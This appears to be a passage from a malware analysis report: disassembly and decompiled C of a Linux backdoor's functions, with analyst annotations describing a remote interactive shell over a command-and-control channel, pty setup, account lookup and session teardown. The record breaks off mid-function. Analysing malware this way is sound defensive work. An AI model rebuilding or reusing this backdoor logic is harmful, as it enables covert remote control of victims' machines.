004011ca41 0f b6 f4MOVZX ESI,R12B
004011ce4c 89 ffMOV RDI,R15
004011d15bPOP RBX
004011d25dPOP RBP
004011d341 5cPOP R12
004011d541 5dPOP R13
004011d741 5ePOP R14
004011d941 5fPOP R15
004011dbe9 bd fa ff ffJMP FUN_00400c9d
LAB_004011e0:
004011e045 31 ffXOR R15D,R15D
004011e348 85 edTEST RBP,RBP
004011e675 d1JNZ LAB_004011b9
004011e8eb 07JMP LAB_004011f1
LAB_004011ea:
004011ea48 85 edTEST RBP,RBP
004011ed75 caJNZ LAB_004011b9
004011efeb d5JMP LAB_004011c6
LAB_004011f1:
004011f148 83 c4 58ADD RSP,0x58
004011f55bPOP RBX
004011f65dPOP RBP
004011f741 5cPOP R12
004011f941 5dPOP R13
004011fb41 5ePOP R14
004011fd41 5fPOP R15
004011ffc3RET
LAB_00401200:
00401200c3RET

learns the user and home values for the…

0x40a57f747 bytes
undefined FUN_0040a57f()

learns the user and home values for the shell by running store-named programs and reading store-named files

Cited as
E27
Behaviours
B10
Called from
FUN_0040aa12
Calls
FUN_0040a2e6, FUN_0040a494, FUN_0040a4b6, FUN_0040a52a, FUN_0040d2bf, FUN_0041c306, FUN_0041c4d7, FUN_0041c633, FUN_0041c7c9, FUN_0041cf00, FUN_0041cfd0, FUN_0041dc39
Decompiled C · 97 lines
void FUN_0040a57f(void)

{
  int iVar1;
  long lVar2;
  long lVar3;
  long lVar4;
  long lVar5;
  long lVar6;
  char *pcVar7;
  long lVar8;
  undefined4 *puVar9;
  char local_2b8 [128];
  undefined8 local_238;
  long local_230;
  undefined8 local_228;
  
  lVar8 = 0;
  DAT_0062bc00 = 0;
  do {
    lVar2 = FUN_0040a2e6((&DAT_00426df0)[lVar8]);
    if (lVar2 != 0) {
      puVar9 = &DAT_00426dd0;
      do {
        lVar3 = FUN_0040a2e6(*puVar9);
        if ((lVar3 != 0) && (iVar1 = FUN_0040a494(lVar3), iVar1 != 0)) {
          local_228 = 0;
          local_238 = lVar3;
          local_230 = lVar2;
          iVar1 = FUN_0040d2bf(lVar3,&local_238,local_2b8,0x80);
          if ((iVar1 == 0) && (FUN_0040a4b6(local_2b8), local_2b8[0] != '\0')) {
            iVar1 = FUN_0040a52a(local_2b8);
            if (iVar1 == 0) goto LAB_0040a745;
            break;
          }
        }
        puVar9 = puVar9 + 1;
      } while (puVar9 != (undefined4 *)&DAT_00426dd8);
    }
    lVar8 = lVar8 + 1;
  } while (lVar8 != 5);
  lVar8 = 0;
  do {
    puVar9 = &DAT_00426df0;
    lVar2 = FUN_0040a2e6((&DAT_00426de0)[lVar8]);
    do {
      lVar3 = FUN_0040a2e6(*puVar9);
      if (((lVar2 != 0) && (lVar3 != 0)) && (lVar4 = FUN_0041c633(lVar2,&DAT_00424f7e), lVar4 != 0))
      {
        lVar5 = FUN_0041cf00(lVar3);
        do {
          lVar6 = FUN_0041c4d7(&local_238,0x200,lVar4);
          if (lVar6 == 0) {
            FUN_0041c306(lVar4);
            goto LAB_0040a762;
          }
          iVar1 = FUN_0041cfd0(&local_238,lVar3,lVar5);
        } while ((iVar1 != 0) || (*(char *)((long)&local_238 + lVar5) != '='));
        FUN_0041c7c9(local_2b8,0x80,&DAT_00426e41,(long)&local_238 + lVar5 + 1);
        FUN_0040a4b6(local_2b8);
        FUN_0041c306(lVar4);
        if ((local_2b8[0] != '\0') && (iVar1 = FUN_0040a52a(local_2b8), iVar1 == 0))
        goto LAB_0040a745;
      }
LAB_0040a762:
      puVar9 = puVar9 + 1;
    } while (puVar9 != (undefined4 *)&DAT_00426e04);
    lVar8 = lVar8 + 1;
  } while (lVar8 != 4);
  pcVar7 = (char *)&local_238;
  lVar8 = FUN_0040a2e6(299);
  if ((lVar8 != 0) && (lVar8 = FUN_0041c633(lVar8,&DAT_00424f7e), lVar8 != 0)) {
    lVar2 = FUN_0041c4d7(pcVar7,0x80,lVar8);
    if (lVar2 == 0) {
      FUN_0041c306(lVar8);
    }
    else {
      FUN_0041c306(lVar8);
      FUN_0040a4b6(pcVar7);
      if (((char)local_238 != '\0') && (iVar1 = FUN_0040a52a(pcVar7), iVar1 == 0))
      goto LAB_0040a851;
    }
  }
  iVar1 = FUN_0041dc39(pcVar7,0x7f);
  if (((iVar1 != 0) || (((char)local_238 == '\0' || (iVar1 = FUN_0040a52a(pcVar7), iVar1 != 0)))) &&
     (pcVar7 = (char *)FUN_0040a2e6(300), pcVar7 == (char *)0x0)) {
    pcVar7 = "";
  }
LAB_0040a851:
  FUN_0041c7c9(&DAT_0062bc00,0x40,&DAT_00426e41,pcVar7);
  return;
LAB_0040a745:
  pcVar7 = local_2b8;
  goto LAB_0040a851;
}

Assembly · 184 instructions, 1 annotated, 1 cited
AddressBytesInstructionComment
0040a57f41 57PUSH R15; E27
0040a58141 56PUSH R14
0040a5834c 8d 35 66 c8 01 00LEA R14,[DAT_00426df0]
0040a58a41 55PUSH R13
0040a58c41 54PUSH R12
0040a58e55PUSH RBP
0040a58f53PUSH RBX
0040a59031 dbXOR EBX,EBX
0040a59248 81 ec 98 02 00 00SUB RSP,0x298
0040a599c6 05 60 16 22 00 00MOV byte ptr [DAT_0062bc00],0x0
LAB_0040a5a0:
0040a5a041 8b 3c 9eMOV EDI,dword ptr [R14 + RBX*0x4]
0040a5a4e8 3d fd ff ffCALL FUN_0040a2e6
0040a5a948 89 c5MOV RBP,RAX
0040a5ac48 85 c0TEST RAX,RAX
0040a5af0f 84 94 00 00 00JZ LAB_0040a649
0040a5b54c 8d 25 14 c8 01 00LEA R12,[DAT_00426dd0]
0040a5bc4c 8d 6c 24 10LEA R13,[RSP + 0x10]
0040a5c14d 8d 7c 24 08LEA R15,[R12 + 0x8]
LAB_0040a5c6:
0040a5c641 8b 3c 24MOV EDI,dword ptr [R12]
0040a5cae8 17 fd ff ffCALL FUN_0040a2e6
0040a5cf48 89 c7MOV RDI,RAX
0040a5d248 85 c0TEST RAX,RAX
0040a5d574 57JZ LAB_0040a62e
0040a5d748 89 44 24 08MOV qword ptr [RSP + local_2c0],RAX
0040a5dce8 b3 fe ff ffCALL FUN_0040a494
0040a5e185 c0TEST EAX,EAX
0040a5e374 49JZ LAB_0040a62e
0040a5e548 8b 7c 24 08MOV RDI,qword ptr [RSP + local_2c0]
0040a5ea48 8d b4 24 90 00 00 00LEA RSI,[RSP + 0x90]
0040a5f2b9 80 00 00 00MOV ECX,0x80
0040a5f74c 89 eaMOV RDX,R13
0040a5fa48 89 ac 24 98 00 00 00MOV qword ptr [RSP + local_230],RBP
0040a60248 89 bc 24 90 00 00 00MOV qword ptr [RSP + local_238],RDI
0040a60a48 c7 84 24 a0 00 00 00 …MOV qword ptr [RSP + local_228],0x0
0040a616e8 a4 2c 00 00CALL FUN_0040d2bf
0040a61b85 c0TEST EAX,EAX
0040a61d75 0fJNZ LAB_0040a62e
0040a61f4c 89 efMOV RDI,R13
0040a622e8 8f fe ff ffCALL FUN_0040a4b6
0040a62780 7c 24 10 00CMP byte ptr [RSP + local_2b8],0x0
0040a62c75 0bJNZ LAB_0040a639
LAB_0040a62e:
0040a62e49 83 c4 04ADD R12,0x4
0040a6324d 39 e7CMP R15,R12
0040a63574 12JZ LAB_0040a649
0040a637eb 8dJMP LAB_0040a5c6
LAB_0040a639:
0040a6394c 89 efMOV RDI,R13
0040a63ce8 e9 fe ff ffCALL FUN_0040a52a
0040a64185 c0TEST EAX,EAX
0040a6430f 84 fc 00 00 00JZ LAB_0040a745
LAB_0040a649:
0040a64948 ff c3INC RBX
0040a64c48 83 fb 05CMP RBX,0x5
0040a6500f 85 4a ff ff ffJNZ LAB_0040a5a0
0040a65645 31 e4XOR R12D,R12D
LAB_0040a659:
0040a65948 8d 05 80 c7 01 00LEA RAX,[DAT_00426de0]
0040a6604c 8d 2d 89 c7 01 00LEA R13,[DAT_00426df0]
0040a66742 8b 3c a0MOV EDI,dword ptr [RAX + R12*0x4]
0040a66be8 76 fc ff ffCALL FUN_0040a2e6
0040a67048 89 44 24 08MOV qword ptr [RSP + local_2c0],RAX
LAB_0040a675:
0040a67541 8b 7d 00MOV EDI,dword ptr [R13]
0040a679e8 68 fc ff ffCALL FUN_0040a2e6
0040a67e48 83 7c 24 08 00CMP qword ptr [RSP + local_2c0],0x0
0040a68448 89 c3MOV RBX,RAX
0040a6870f 84 d5 00 00 00JZ LAB_0040a762
0040a68d48 85 c0TEST RAX,RAX
0040a6900f 84 cc 00 00 00JZ LAB_0040a762
0040a69648 8b 7c 24 08MOV RDI,qword ptr [RSP + local_2c0]
0040a69b48 8d 35 dc a8 01 00LEA RSI,[DAT_00424f7e]
0040a6a2e8 8c 1f 01 00CALL FUN_0041c633
0040a6a748 89 c5MOV RBP,RAX
0040a6aa48 85 c0TEST RAX,RAX
0040a6ad0f 84 af 00 00 00JZ LAB_0040a762
0040a6b348 89 dfMOV RDI,RBX
0040a6b64c 8d b4 24 90 00 00 00LEA R14,[RSP + 0x90]
0040a6bee8 3d 28 01 00CALL FUN_0041cf00
0040a6c349 89 c7MOV R15,RAX
LAB_0040a6c6:
0040a6c648 89 eaMOV RDX,RBP
0040a6c9be 00 02 00 00MOV ESI,0x200
0040a6ce4c 89 f7MOV RDI,R14
0040a6d1e8 01 1e 01 00CALL FUN_0041c4d7
0040a6d648 85 c0TEST RAX,RAX
0040a6d974 54JZ LAB_0040a72f
0040a6db4c 89 faMOV RDX,R15
0040a6de48 89 deMOV RSI,RBX
0040a6e14c 89 f7MOV RDI,R14
0040a6e4e8 e7 28 01 00CALL FUN_0041cfd0
0040a6e985 c0TEST EAX,EAX
0040a6eb75 d9JNZ LAB_0040a6c6
0040a6ed42 80 bc 3c 90 00 00 00 …CMP byte ptr [RSP + R15*0x1 + 0x90],0x3d
0040a6f675 ceJNZ LAB_0040a6c6
0040a6f848 8d 5c 24 10LEA RBX,[RSP + 0x10]
0040a6fd4b 8d 4c 3e 01LEA RCX,[R14 + R15*0x1 + 0x1]
0040a702be 80 00 00 00MOV ESI,0x80
0040a70748 8d 15 33 c7 01 00LEA RDX,[DAT_00426e41]
0040a70e48 89 dfMOV RDI,RBX
0040a711e8 b3 20 01 00CALL FUN_0041c7c9
0040a71648 89 dfMOV RDI,RBX
0040a719e8 98 fd ff ffCALL FUN_0040a4b6
0040a71e48 89 efMOV RDI,RBP
0040a721e8 e0 1b 01 00CALL FUN_0041c306
0040a72680 7c 24 10 00CMP byte ptr [RSP + local_2b8],0x0
0040a72b75 0cJNZ LAB_0040a739
0040a72deb 33JMP LAB_0040a762
LAB_0040a72f:
0040a72f48 89 efMOV RDI,RBP
0040a732e8 cf 1b 01 00CALL FUN_0041c306
0040a737eb 29JMP LAB_0040a762
LAB_0040a739:
0040a73948 89 dfMOV RDI,RBX
0040a73ce8 e9 fd ff ffCALL FUN_0040a52a
0040a74185 c0TEST EAX,EAX
0040a74375 1dJNZ LAB_0040a762
LAB_0040a745:
0040a74548 8d 4c 24 10LEA RCX,[RSP + 0x10]
0040a74a48 8d 15 f0 c6 01 00LEA RDX,[DAT_00426e41]
0040a751be 40 00 00 00MOV ESI,0x40
0040a75648 8d 3d a3 14 22 00LEA RDI,[DAT_0062bc00]
0040a75de9 ef 00 00 00JMP LAB_0040a851
LAB_0040a762:
0040a76249 83 c5 04ADD R13,0x4
0040a76648 8d 05 97 c6 01 00LEA RAX,[DAT_00426e04]
0040a76d4c 39 e8CMP RAX,R13
0040a7700f 85 ff fe ff ffJNZ LAB_0040a675
0040a77649 ff c4INC R12
0040a77949 83 fc 04CMP R12,0x4
0040a77d0f 85 d6 fe ff ffJNZ LAB_0040a659
0040a783bf 2b 01 00 00MOV EDI,0x12b
0040a7884c 8d a4 24 90 00 00 00LEA R12,[RSP + 0x90]
0040a7904c 8d 35 aa c6 01 00LEA R14,[DAT_00426e41]
0040a797e8 4a fb ff ffCALL FUN_0040a2e6
0040a79c4c 8d 2d 5d 14 22 00LEA R13,[DAT_0062bc00]
0040a7a348 85 c0TEST RAX,RAX
0040a7a648 89 c7MOV RDI,RAX
0040a7a974 5bJZ LAB_0040a806
0040a7ab48 8d 35 cc a7 01 00LEA RSI,[DAT_00424f7e]
0040a7b2e8 7c 1e 01 00CALL FUN_0041c633
0040a7b748 89 c5MOV RBP,RAX
0040a7ba48 85 c0TEST RAX,RAX
0040a7bd74 47JZ LAB_0040a806
0040a7bf4c 89 e7MOV RDI,R12
0040a7c248 89 c2MOV RDX,RAX
0040a7c5be 80 00 00 00MOV ESI,0x80
0040a7cae8 08 1d 01 00CALL FUN_0041c4d7
0040a7cf48 89 efMOV RDI,RBP
0040a7d248 85 c0TEST RAX,RAX
0040a7d575 07JNZ LAB_0040a7de
0040a7d7e8 2a 1b 01 00CALL FUN_0041c306
0040a7dceb 28JMP LAB_0040a806
LAB_0040a7de:
0040a7dee8 23 1b 01 00CALL FUN_0041c306
0040a7e34c 89 e7MOV RDI,R12
0040a7e6e8 cb fc ff ffCALL FUN_0040a4b6
0040a7eb80 bc 24 90 00 00 00 00CMP byte ptr [RSP + local_238],0x0
0040a7f374 11JZ LAB_0040a806
0040a7f54c 89 e7MOV RDI,R12
0040a7f8e8 2d fd ff ffCALL FUN_0040a52a
0040a7fd85 c0TEST EAX,EAX
0040a7ff75 05JNZ LAB_0040a806
LAB_0040a801:
0040a8014c 89 e1MOV RCX,R12
0040a804eb 40JMP LAB_0040a846
LAB_0040a806:
0040a806be 7f 00 00 00MOV ESI,0x7f
0040a80b4c 89 e7MOV RDI,R12
0040a80ee8 26 34 01 00CALL FUN_0041dc39
0040a81385 c0TEST EAX,EAX
0040a81575 16JNZ LAB_0040a82d
0040a81780 bc 24 90 00 00 00 00CMP byte ptr [RSP + local_238],0x0
0040a81f74 0cJZ LAB_0040a82d
0040a8214c 89 e7MOV RDI,R12
0040a824e8 01 fd ff ffCALL FUN_0040a52a
0040a82985 c0TEST EAX,EAX
0040a82b74 d4JZ LAB_0040a801
LAB_0040a82d:
0040a82dbf 2c 01 00 00MOV EDI,0x12c
0040a832e8 af fa ff ffCALL FUN_0040a2e6
0040a83748 89 c1MOV RCX,RAX
0040a83a48 85 c0TEST RAX,RAX
0040a83d75 07JNZ LAB_0040a846
0040a83f48 8d 0d 6d d1 01 00LEA RCX,[DAT_004279b3]
LAB_0040a846:
0040a8464c 89 f2MOV RDX,R14
0040a849be 40 00 00 00MOV ESI,0x40
0040a84e4c 89 efMOV RDI,R13
LAB_0040a851:
0040a85131 c0XOR EAX,EAX
0040a853e8 71 1f 01 00CALL FUN_0041c7c9
0040a85848 81 c4 98 02 00 00ADD RSP,0x298
0040a85f5bPOP RBX
0040a8605dPOP RBP
0040a86141 5cPOP R12
0040a86341 5dPOP R13
0040a86541 5ePOP R14
0040a86741 5fPOP R15
0040a869c3RET

finds the account-file entry whose uid…

0x40a86a222 bytes
undefined FUN_0040a86a()

finds the account-file entry whose uid equals getuid()

Cited as
E27
Behaviours
B10
Called from
FUN_0040aa12
Calls
FUN_0040a2e6, FUN_0041c306, FUN_0041c4d7, FUN_0041c633, FUN_0041c7c9, thunk_FUN_0041cba9, FUN_0041cd50
Decompiled C · 36 lines
void FUN_0040a86a(int param_1)

{
  int iVar1;
  long lVar2;
  long lVar3;
  undefined1 *puVar4;
  long local_230;
  undefined1 local_228 [520];
  
  lVar2 = FUN_0040a2e6(0x1b0);
  if (lVar2 != 0) {
    lVar2 = FUN_0041c633(lVar2,&DAT_00424f7e);
    if (lVar2 != 0) {
      do {
        do {
          do {
            lVar3 = FUN_0041c4d7(local_228,0x200,lVar2);
            if (lVar3 == 0) goto LAB_0040a932;
            puVar4 = (undefined1 *)FUN_0041cd50(local_228,0x3a);
          } while (puVar4 == (undefined1 *)0x0);
          *puVar4 = 0;
          lVar3 = FUN_0041cd50(puVar4 + 1,0x3a);
        } while (lVar3 == 0);
        local_230 = 0;
        iVar1 = thunk_FUN_0041cba9(lVar3 + 1,&local_230,10);
      } while ((lVar3 + 1 == local_230) || (param_1 != iVar1));
      FUN_0041c7c9(&DAT_0062bc40,0x40,&DAT_00426e41,local_228);
LAB_0040a932:
      FUN_0041c306(lVar2);
    }
  }
  return;
}

Assembly · 58 instructions, 1 annotated, 1 cited
AddressBytesInstructionComment
0040a86a41 55PUSH R13; E27
0040a86c41 89 fdMOV R13D,EDI
0040a86fbf b0 01 00 00MOV EDI,0x1b0
0040a87441 54PUSH R12
0040a87655PUSH RBP
0040a87753PUSH RBX
0040a87848 81 ec 18 02 00 00SUB RSP,0x218
0040a87fe8 62 fa ff ffCALL FUN_0040a2e6
0040a88448 85 c0TEST RAX,RAX
0040a8870f 84 ad 00 00 00JZ LAB_0040a93a
0040a88d48 89 c7MOV RDI,RAX
0040a89048 8d 35 e7 a6 01 00LEA RSI,[DAT_00424f7e]
0040a8974c 8d 64 24 10LEA R12,[RSP + 0x10]
0040a89ce8 92 1d 01 00CALL FUN_0041c633
0040a8a148 89 c5MOV RBP,RAX
0040a8a448 85 c0TEST RAX,RAX
0040a8a70f 84 8d 00 00 00JZ LAB_0040a93a
LAB_0040a8ad:
0040a8ad48 89 eaMOV RDX,RBP
0040a8b0be 00 02 00 00MOV ESI,0x200
0040a8b54c 89 e7MOV RDI,R12
0040a8b8e8 1a 1c 01 00CALL FUN_0041c4d7
0040a8bd48 85 c0TEST RAX,RAX
0040a8c074 70JZ LAB_0040a932
0040a8c2be 3a 00 00 00MOV ESI,0x3a
0040a8c74c 89 e7MOV RDI,R12
0040a8cae8 81 24 01 00CALL FUN_0041cd50
0040a8cf48 85 c0TEST RAX,RAX
0040a8d274 d9JZ LAB_0040a8ad
0040a8d4c6 00 00MOV byte ptr [RAX],0x0
0040a8d748 8d 78 01LEA RDI,[RAX + 0x1]
0040a8dbbe 3a 00 00 00MOV ESI,0x3a
0040a8e0e8 6b 24 01 00CALL FUN_0041cd50
0040a8e548 85 c0TEST RAX,RAX
0040a8e874 c3JZ LAB_0040a8ad
0040a8ea48 8d 58 01LEA RBX,[RAX + 0x1]
0040a8ee48 8d 74 24 08LEA RSI,[RSP + 0x8]
0040a8f3ba 0a 00 00 00MOV EDX,0xa
0040a8f848 c7 44 24 08 00 00 00 …MOV qword ptr [RSP + local_230],0x0
0040a90148 89 dfMOV RDI,RBX
0040a904e8 a9 22 01 00CALL thunk_FUN_0041cba9
0040a90948 3b 5c 24 08CMP RBX,qword ptr [RSP + local_230]
0040a90e74 9dJZ LAB_0040a8ad
0040a91041 39 c5CMP R13D,EAX
0040a91375 98JNZ LAB_0040a8ad
0040a9154c 89 e1MOV RCX,R12
0040a91848 8d 15 22 c5 01 00LEA RDX,[DAT_00426e41]
0040a91fbe 40 00 00 00MOV ESI,0x40
0040a92431 c0XOR EAX,EAX
0040a92648 8d 3d 13 13 22 00LEA RDI,[DAT_0062bc40]
0040a92de8 97 1e 01 00CALL FUN_0041c7c9
LAB_0040a932:
0040a93248 89 efMOV RDI,RBP
0040a935e8 cc 19 01 00CALL FUN_0041c306
LAB_0040a93a:
0040a93a48 81 c4 18 02 00 00ADD RSP,0x218
0040a9415bPOP RBX
0040a9425dPOP RBP
0040a94341 5cPOP R12
0040a94541 5dPOP R13
0040a947c3RET

ends the remote shell session

0x40a948195 bytes
undefined FUN_0040a948()

ends the remote shell session

Cited as
E26
Behaviours
B11
Called from
FUN_0040aa12, FUN_0040afc5
Calls
FUN_0041bf3d, FUN_0041c083, FUN_0041db41, FUN_0041dda5
Decompiled C · 43 lines
void FUN_0040a948(void)

{
  int iVar1;
  int iVar2;
  int iVar3;
  undefined1 local_1c [4];
  
  iVar3 = DAT_0062b9e4;
  iVar1 = DAT_0062b9e0;
  DAT_0062b9e4 = 0xffffffff;
  DAT_0062b9e0 = 0xffffffff;
  if (-1 < iVar3) {
    FUN_0041db41();
  }
  if (0 < iVar1) {
    iVar3 = 0x14;
    FUN_0041c083(iVar1,1);
    do {
      iVar2 = FUN_0041bf3d(iVar1,local_1c,1);
      if (iVar2 == iVar1) {
        return;
      }
      FUN_0041dda5(50000);
      iVar3 = iVar3 + -1;
    } while (iVar3 != 0);
    iVar3 = 10;
    FUN_0041c083(iVar1,0xf);
    do {
      iVar2 = FUN_0041bf3d(iVar1,local_1c,1);
      if (iVar2 == iVar1) {
        return;
      }
      FUN_0041dda5(50000);
      iVar3 = iVar3 + -1;
    } while (iVar3 != 0);
    FUN_0041c083(iVar1,9);
    FUN_0041bf3d(iVar1,local_1c,0);
  }
  return;
}

Assembly · 54 instructions, 0 annotated
AddressBytesInstructionComment
0040a94841 54PUSH R12
0040a94a55PUSH RBP
0040a94b53PUSH RBX
0040a94c48 83 ec 10SUB RSP,0x10
0040a9508b 3d 8e 10 22 00MOV EDI,dword ptr [DAT_0062b9e4]
0040a9568b 2d 84 10 22 00MOV EBP,dword ptr [DAT_0062b9e0]
0040a95cc7 05 7e 10 22 00 ff ff …MOV dword ptr [DAT_0062b9e4],0xffffffff
0040a966c7 05 70 10 22 00 ff ff …MOV dword ptr [DAT_0062b9e0],0xffffffff
0040a97085 ffTEST EDI,EDI
0040a97278 05JS LAB_0040a979
0040a974e8 c8 31 01 00CALL FUN_0041db41
LAB_0040a979:
0040a97985 edTEST EBP,EBP
0040a97b0f 8e 81 00 00 00JLE LAB_0040aa02
0040a981be 01 00 00 00MOV ESI,0x1
0040a98689 efMOV EDI,EBP
0040a988bb 14 00 00 00MOV EBX,0x14
0040a98de8 f1 16 01 00CALL FUN_0041c083
0040a9924c 8d 64 24 0cLEA R12,[RSP + 0xc]
LAB_0040a997:
0040a997ba 01 00 00 00MOV EDX,0x1
0040a99c4c 89 e6MOV RSI,R12
0040a99f89 efMOV EDI,EBP
0040a9a1e8 97 15 01 00CALL FUN_0041bf3d
0040a9a639 e8CMP EAX,EBP
0040a9a874 58JZ LAB_0040aa02
0040a9aabf 50 c3 00 00MOV EDI,0xc350
0040a9afe8 f1 33 01 00CALL FUN_0041dda5
0040a9b4ff cbDEC EBX
0040a9b675 dfJNZ LAB_0040a997
0040a9b8be 0f 00 00 00MOV ESI,0xf
0040a9bd89 efMOV EDI,EBP
0040a9bfbb 0a 00 00 00MOV EBX,0xa
0040a9c4e8 ba 16 01 00CALL FUN_0041c083
LAB_0040a9c9:
0040a9c9ba 01 00 00 00MOV EDX,0x1
0040a9ce4c 89 e6MOV RSI,R12
0040a9d189 efMOV EDI,EBP
0040a9d3e8 65 15 01 00CALL FUN_0041bf3d
0040a9d839 e8CMP EAX,EBP
0040a9da74 26JZ LAB_0040aa02
0040a9dcbf 50 c3 00 00MOV EDI,0xc350
0040a9e1e8 bf 33 01 00CALL FUN_0041dda5
0040a9e6ff cbDEC EBX
0040a9e875 dfJNZ LAB_0040a9c9
0040a9eabe 09 00 00 00MOV ESI,0x9
0040a9ef89 efMOV EDI,EBP
0040a9f1e8 8d 16 01 00CALL FUN_0041c083
0040a9f631 d2XOR EDX,EDX
0040a9f84c 89 e6MOV RSI,R12
0040a9fb89 efMOV EDI,EBP
0040a9fde8 3b 15 01 00CALL FUN_0041bf3d
LAB_0040aa02:
0040aa0248 83 c4 10ADD RSP,0x10
0040aa065bPOP RBX
0040aa075dPOP RBP
0040aa0841 5cPOP R12
0040aa0ac3RET

remote interactive shell over the C2

0x40aa121459 bytes
undefined FUN_0040aa12()

remote interactive shell over the C2: opens a pty, forks a shell with a prepared environment, relays data, closes on command

Cited as
E26
Behaviours
B11
Called from
FUN_004138f6
Calls
FUN_0040a2e6, FUN_0040a31c, FUN_0040a43a, FUN_0040a494, FUN_0040a57f, FUN_0040a86a, FUN_0040a948, FUN_0040b0b8, FUN_0040b0fb, FUN_0040b165, FUN_00417b80, FUN_00417c6e, FUN_00417dc5, FUN_004193eb, FUN_0041942a, FUN_0041942d, FUN_0041bcc7, FUN_0041bdde, FUN_0041c7c9, FUN_0041cea0, FUN_0041d540, FUN_0041db14, FUN_0041db41, FUN_0041db79, FUN_0041db9a
Decompiled C · 225 lines
ulong FUN_0040aa12(long param_1,int param_2,code *param_3,long param_4)

{
  uint uVar1;
  int iVar2;
  undefined4 uVar3;
  int iVar4;
  uint uVar5;
  long lVar6;
  undefined1 *puVar7;
  long lVar8;
  long lVar9;
  long lVar10;
  ulong uVar11;
  undefined1 *puVar12;
  undefined8 uVar13;
  undefined1 *puVar14;
  undefined *puVar15;
  char *pcVar16;
  long lVar17;
  byte bVar18;
  char local_4b;
  ushort local_4a;
  long local_48;
  undefined4 local_40;
  int local_3c;
  
  bVar18 = 0;
  if (((param_1 == 0) || (param_2 < 7)) || (iVar2 = FUN_0040b0b8(), iVar2 == 0)) {
    pcVar16 = (char *)0x0;
    goto LAB_0040afb3;
  }
  iVar2 = FUN_0040b0fb(param_1,(long)param_2,&local_4b,&local_48,&local_4a);
  if (iVar2 == 1) {
    if (local_4b == '\x03') {
      if (((-1 < DAT_0062b9e4) && (local_4a != 0)) && (local_48 != 0)) {
        uVar11 = 0;
        do {
          lVar17 = FUN_0041ddd5(DAT_0062b9e4,local_48 + uVar11,local_4a - uVar11);
          if (lVar17 < 1) break;
          uVar11 = uVar11 + lVar17;
        } while (uVar11 < local_4a);
      }
    }
    else {
      pcVar16 = (char *)0x1;
      if (local_4b == '\x04') {
        FUN_0040a948();
        goto LAB_0040afb3;
      }
      if (local_4b != '\x01') goto LAB_0040afb3;
      if (-1 < DAT_0062b9e4) {
        FUN_0040a948();
      }
      puVar14 = *(undefined1 **)(DAT_0062e6f0 + 0x1020);
      uVar5 = *(uint *)(DAT_0062e6f0 + 0x4e8);
      uVar1 = *(uint *)(DAT_0062e6f0 + 0x1028);
      if (((*(undefined1 **)(DAT_0062e6f0 + 0x4e0) == (undefined1 *)0x0) ||
          (puVar14 == (undefined1 *)0x0)) || (((int)uVar5 < 1 || ((int)uVar1 < 1)))) {
LAB_0040aacc:
        lVar17 = 0;
        do {
          lVar6 = FUN_0040a2e6((&DAT_00426e20)[lVar17]);
          if ((lVar6 != 0) && (iVar2 = FUN_0040a494(lVar6), iVar2 != 0)) goto LAB_0040ab7b;
          lVar17 = lVar17 + 1;
        } while (lVar17 != 8);
        lVar6 = FUN_0040a2e6(0x12d);
        if ((lVar6 != 0) && (iVar2 = FUN_0040a494(lVar6), iVar2 != 0)) {
LAB_0040ab7b:
          FUN_0041c7c9(&DAT_0062bc80,0x100,&DAT_00426e41,lVar6);
          goto LAB_0040ab98;
        }
      }
      else {
        iVar2 = uVar1 + uVar5 + 1;
        if (0xff < iVar2) goto LAB_0040aacc;
        puVar7 = *(undefined1 **)(DAT_0062e6f0 + 0x4e0);
        puVar12 = &DAT_0062bc80;
        for (uVar11 = (ulong)uVar5; uVar11 != 0; uVar11 = uVar11 - 1) {
          *puVar12 = *puVar7;
          puVar7 = puVar7 + (ulong)bVar18 * -2 + 1;
          puVar12 = puVar12 + (ulong)bVar18 * -2 + 1;
        }
        (&DAT_0062bc80)[(int)uVar5] = 0x2f;
        puVar7 = &DAT_0062bc80 + (int)(uVar5 + 1);
        for (uVar11 = (ulong)uVar1; uVar11 != 0; uVar11 = uVar11 - 1) {
          *puVar7 = *puVar14;
          puVar14 = puVar14 + (ulong)bVar18 * -2 + 1;
          puVar7 = puVar7 + (ulong)bVar18 * -2 + 1;
        }
        (&DAT_0062bc80)[iVar2] = 0;
        iVar2 = FUN_0040a494(&DAT_0062bc80);
        if (iVar2 == 0) goto LAB_0040aacc;
LAB_0040ab98:
        DAT_0062bc40 = '\0';
        DAT_0062bc00 = 0;
        DAT_0062bb00 = 0;
        uVar3 = FUN_0041dca7();
        FUN_0040a86a(uVar3);
        if (DAT_0062bc40 == '\0') {
          iVar2 = FUN_0041dc31();
          uVar13 = 0x12e;
          puVar15 = &DAT_00426e41;
          puVar14 = &DAT_0062bc40;
          if (iVar2 != 0) {
            uVar13 = 0x12f;
          }
          puVar7 = (undefined1 *)FUN_0040a2e6(uVar13);
          if (puVar7 == (undefined1 *)0x0) {
            puVar7 = &DAT_004279b3;
          }
          FUN_0041c7c9(puVar14,0x40,puVar15,puVar7);
        }
        FUN_0040a57f();
        lVar17 = FUN_0041db9a(&DAT_0062bb00,0xff);
        if (lVar17 == 0) {
          FUN_0041cea0(&DAT_0062bb00,&DAT_00424e60);
        }
        lVar17 = FUN_0040a2e6(0x130);
        if ((lVar17 == 0) || (iVar2 = FUN_00417dc5(lVar17,0x102), iVar2 < 0)) {
LAB_0040ac4c:
          iVar2 = FUN_0041dcc4(&local_40);
          if (iVar2 != 0) goto LAB_0040ac5e;
          while( true ) {
            iVar4 = FUN_0041bdde();
            if (iVar4 < 0) break;
            if (iVar4 != 0) {
              FUN_0041db41(local_40);
              iVar2 = local_3c;
              goto LAB_0040af66;
            }
            FUN_0041db41(local_3c);
            FUN_0041db79(local_40,0);
            FUN_0041db79(local_40,1);
            FUN_0041db79(local_40,2);
            FUN_0041db41(local_40);
            FUN_0041dd51();
LAB_0040aecd:
            FUN_0041bcc7(&DAT_0062bc80,&DAT_0062bc80,&DAT_00426db0,0);
LAB_0040aed7:
            FUN_0041db14(0x7f);
          }
          FUN_0041db41(local_40);
          iVar2 = local_3c;
        }
        else {
          iVar4 = FUN_0041942a(iVar2);
          if ((iVar4 != 0) ||
             ((iVar4 = FUN_0041942d(iVar2), iVar4 != 0 ||
              (lVar17 = FUN_0040a43a(iVar2), lVar17 == 0)))) {
            FUN_0041db41(iVar2);
            goto LAB_0040ac4c;
          }
          iVar4 = FUN_0041bdde();
          if (-1 < iVar4) {
            if (iVar4 == 0) {
              pcVar16 = (char *)FUN_0040a43a(iVar2);
              FUN_0041db41(iVar2);
              if (pcVar16 == (char *)0x0) goto LAB_0040aed7;
              if (*pcVar16 == '\0') goto LAB_0040aed7;
              FUN_0041dd51();
              iVar2 = FUN_00417dc5(pcVar16,2);
